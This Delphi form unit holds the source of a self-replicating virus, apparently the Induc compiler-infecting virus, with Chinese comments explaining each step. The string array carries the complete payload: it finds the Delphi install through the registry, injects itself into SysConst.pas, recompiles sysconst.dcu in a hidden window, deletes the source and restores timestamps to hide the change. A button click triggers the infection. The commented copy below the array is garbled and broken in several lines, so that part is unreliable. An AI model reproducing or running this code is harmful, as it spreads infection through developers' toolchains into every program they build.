unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符，因此sc数组中代码
//里面包含的单引号都用$来表示，当恢复代码时要还原
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=
result:=s;
end;
//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数：
//s：pas文件
//d：dcu文件
//e：dcc32文件
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
//判断是否感染过病毒，避免重复感染
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
//打开sysconst.pas文件
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
//打开要写的病毒pas文件，这个文件保存在LIB目录下
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then //将病毒代码插入到这个关键字的后面
break;
end;
//插入sc数组到pas文件中
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,,');
writeln(f2,);');
//插入病毒代码到pas文件中，替换S字符并写入
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); //备份dcu原始文件
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE; //不显示编译窗口
b := CreateProcess(nil,pchar(e+
+r+'\bin\dcc32.exe" '); //感染病毒
end;
RegCloseKey(k);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
st;
end;
end.
